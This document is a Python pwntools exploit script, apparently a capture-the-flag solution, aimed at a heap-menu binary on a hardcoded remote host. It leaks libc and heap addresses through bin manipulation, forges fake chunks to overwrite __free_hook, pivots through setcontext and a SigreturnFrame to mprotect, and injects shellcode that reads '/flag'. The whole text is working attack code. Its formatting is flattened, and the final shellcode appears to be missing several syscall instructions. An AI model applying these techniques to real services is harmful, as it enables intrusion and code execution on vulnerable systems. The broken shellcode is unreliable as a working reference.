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from PwnContext import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'info'
s = lambda data :ctx.send(str(data)) sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = './pwn' ctx.remote = ('183.129.189.60', 10027) ctx.remote_libc = 'libc.so.6' ctx.debug_remote_libc = True
def add(size, content, idx): sla('Choice: ', '1') sla('index>> ', str(idx)) sla('size>> ', str(size)) sa('name>> ', content)
def dele(idx): sla('Choice: ', '2') sla('index>> ', str(idx))
def show(idx): sla('Choice: ', '3') sla('index>> ', str(idx))
def edit(idx, content): sla('Choice: ', '4') sla('index>> ', str(idx)) sa('name>> ', content)
rs('remote')
for i in range(8): add(0xf8, 'a', i)
for i in range(8): dele(i)
for i in range(7): add(0x68, 'a', i) add(0xf8, 'a', 7) for i in range(8): dele(i)
for i in range(8): add(0x160, 'a', i)
for i in range(8): dele(i)
add(0xf8, 'a', 0) add(0x68, 'a', 1) add(0x68, 'a', 2) add(0xf8, 'a', 3) add(0x68, 'a', 4) add(0xf8, 'a', 5)
dele(2) dele(0)
pay = 'a' * 0x60 pay += p64(0x1e0) add(0x68, pay, 2)
dele(3)
add(0xf8+0x70, 'a' * 0xf8 + p64(0x71), 0)
show(2) main_arena = u64(r(8)) leak('main_arena', main_arena) lbase = main_arena - (0x7ffff7dcfca0 - 0x7ffff79e4000) __free_hook = lbase + ctx.libc.sym['__free_hook'] mprotect = lbase + ctx.libc.sym['mprotect'] setcontext = lbase + ctx.libc.sym['setcontext']
leak('lbase', lbase) leak('__free_hook', __free_hook) leak('mprotect', mprotect) leak('setcontext', setcontext)
dele(4) dele(1)
show(0) r(0x100) heap_addr = u64(r(8)) leak('heap_addr', heap_addr)
dele(0)
fake_chunk_addr = heap_addr-0x2d0 fake_chunk = '' fake_chunk += p64(0) + p64(0x1d1) fake_chunk += p64(fake_chunk_addr+0x8) + p64(fake_chunk_addr+0x10) fake_chunk += p64(fake_chunk_addr) fake_chunk += 'a' * (0x1d0- len(fake_chunk)) fake_chunk += p64(0x1d0)
add(0x1d8, fake_chunk, 0)
add(0xf8, 'a', 6) dele(6)
fake_chunk = p64(0) + p64(0x101) fake_chunk += p64(main_arena) + p64(__free_hook-16-16) edit(0, fake_chunk)
add(0xf0, 'a', 7)
pay = '' pay += 'a' * 0xf0 pay += p64(0) + p64(0x71) pay += p64(__free_hook-16-3)
edit(0, pay)
add(0x60, 'a', 8)
context.arch = "amd64" sc2_addr = __free_hook & 0xfffffffffffff000 sc1 = ''' xor rdi, rdi mov rsi, %d mov edx, 0x1000
mov eax, 0; //SYS_read syscall
jmp rsi ''' % sc2_addr
pay = 'aaa' pay += p64(setcontext+53) + p64(__free_hook + 0x10) + asm(sc1)
add(0x60, pay, 9)
frame = SigreturnFrame() frame.rsp = __free_hook + 8 frame.rip = mprotect frame.rdi = sc2_addr frame.rsi = 0x1000 frame.rdx = 4 | 2 | 1 edit(0, str(frame))
dele(0)
flag_str = '/flag\x00\x00\x00' sc2 = ''' mov rax, %s push rax mov rdi, 0 mov rsi, rsp xor rdx, rdx mov rax, 257; //openat syscall
mov rdi, rax mov rsi, rsp mov rdx, 1024 mov rax, 0; //read syscall
mov rdi, 1; mov rsi, rsp mov rdx, rax mov rax, 1; //write syscall
mov rdi, 0 mov rax, 60 syscall; //exit ''' % hex(u64(flag_str))
s(asm(sc2))
irt()
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